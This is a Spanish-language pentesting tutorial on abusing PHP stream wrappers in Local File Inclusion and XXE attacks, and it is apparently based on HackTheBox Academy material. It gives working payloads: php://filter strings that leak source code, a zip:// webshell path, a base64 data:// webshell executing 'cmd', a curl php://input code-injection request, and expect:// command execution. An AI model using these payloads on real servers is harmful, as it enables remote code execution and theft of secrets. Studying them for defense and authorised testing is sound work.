En el caso de que tratemos con archivos PHP, existe un concepto que son los llamados PHP Wrappers. Un wrapper es una especie de envoltura que le dice al Stream (secuencia, petición, entrada/salida de datos) como actuar.
Esta característica de PHP es muy útil en ataques como el LFI y el XXE, gracias a esto, podemos obtener alguna que otra ventaja que de otra forma no tendríamos.
El concepto de wrapper quedará más claro cuando lo veamos ahora.
Índice:
- php://filter
- zip://
- data://
- php://input
- expect://
- Referencias
php://filter
El Wrapper filter nos permite encodear el archivo que le especifiquemos, esto es muy útil, ya que nos permite poder leer archivos PHP que en otro caso, el navegador simplemente interpretaría directamente.
Por ejemplo, tenemos el siguiente archivo:

Como vemos, tiene una contraseña en un comentario. Pero si nosotros accedemos al archivo desde la web:

Solo vemos la salida del código interpretado 😥. Sin embargo, usando el wrapper filter, seremos capaces de leer el archivo PHP al completo.
Para probar el wrapper, he creado un LFI en un archivo index.php. Por lo que, en este LFI, el payload que introduciremos para hacer uso del wrapper y leer el archivo secret.php, será el siguiente:
- php://filter/convert.base64-encode/resource=<archivo>

De esta forma, estamos leyendo el archivo secret.php pero en base64, por lo que si decodeamos esta salida:

Obtenemos el archivo al completo. Un detalle curioso sobre los wrappers es que podemos concatenar varios a través del uso de un pipe |
o un slash /
. Ejemplo:


Y obtenemos exactamente el mismo resultado.
Además de poder encodear en base64, podemos aplicar ROT13 con la siguiente cadena:
- php://filter/read=string.rot13/resource=<archivo>
Aunque este en concreto no sirve para leer archivos PHP:

Pero si aplica para otro tipo de archivos:

En conclusión, referente a este wrapper, tenemos los dos siguientes payloads:
- php://filter/convert.base64-encode/resource=<archivo>
- php://filter/read=string.rot13/resource=<archivo>
zip://
El wrapper zip nos permite ejecutar un php que hayamos metido dentro de un archivo zip. Incluso no hace falta que el archivo zip tenga como extensión zip, sino que puede tener cualquiera.
Este wrapper no está instalado por defecto, pero se puede instalar con el siguiente comando:
- sudo apt install phpX.Y-zip
Donde X e Y, es la versión PHP que tengamos instalada o a la que queramos instalarle esta característica.
Ejemplo de ejecución de webshell a través de este wrapper:

Payload:
- zip://<archivo zip>%23<archivo php>
En <archivo zip>, si no se encontrase en el directorio actual, se le especificaría el directorio donde se encontrase el archivo y listo.
Nota: en caso de que el archivo PHP fuese una webshell o esperase algún parámetro, se le agregaría con un ampersand como vemos en la siguiente imagen.

E incluso cambiando la extensión del zip, seguirá funcionando:


data://
El wrapper data nos permite incluir datos externos, incluido código PHP. Este wrapper solo funciona si la opción allow_url_include está activada en la configuración de PHP (la opción equivalente a un Remote File Inclusion).
Ejecutar código PHP con este wrapper es bastante sencillo, podemos hacerlo de dos formas:
- En texto plano
- En base 64
En texto plano, simplemente tendríamos que usar el siguiente payload:
- data:text/plain,<código PHP>
Ejemplo:

De cara a hacerlo usando base64, simplemente tendríamos que encodear el código PHP:

Y colocarlo en el wrapper tal que:
- data://text/plain;base64,<código PHP en base64>
- data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pgo=
De esta forma, como estamos definiendo un parámetro para ejecutar comandos, el payload para por ejemplo ejecutar el comando id sería:
- data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pgo=&cmd=id
Ejemplo:

php://input
Este wrapper es parecido al de arriba (data). Se puede usar para incluir código PHP. Su requisito al igual que el wrapper data es que la opción allow_url_include de la configuración de PHP debe de estar habilitada.
Con esto hecho, se podría ejecutar comandos mandando el código PHP en los datos de una petición POST. Ejemplo:
- curl -s -X POST -d ‘<código PHP>’ ‘http://example.com/index.php?file=php://input’

En este caso, la salida del comando la podemos ver en la respuesta.
expect://
El wrapper expect no está instalado por defecto, pero en el caso de que lo esté, permite ejecutar directamente comandos de la siguiente forma:
- expect://<comando>
Esto ocurre porque este wrapper da acceso a una PTY (pseudo-teletype), que en UNIX básicamente se refiere a una terminal. Da acceso tanto al STDIN, STDOUT como STDERR.
Conclusión PHP Wrappers
Como hemos podido ver, esta característica de PHP es muy útil en muchas ocasiones, ya que nos puede ayudar conseguir acciones que de una u otra forma no podríamos. Es bastante útil hacer uso de ellas cuando estamos ante vulnerabilidades como el Local File Inclusion (LFI) o el XML External Entity (XXE), o realmente en cualquier caso donde veamos que tenemos la capacidad de usarlas.
Referencias
- What do pty and tty mean?
- expect://
- File Inclusion / Directory Traversal – HackTheBox Academy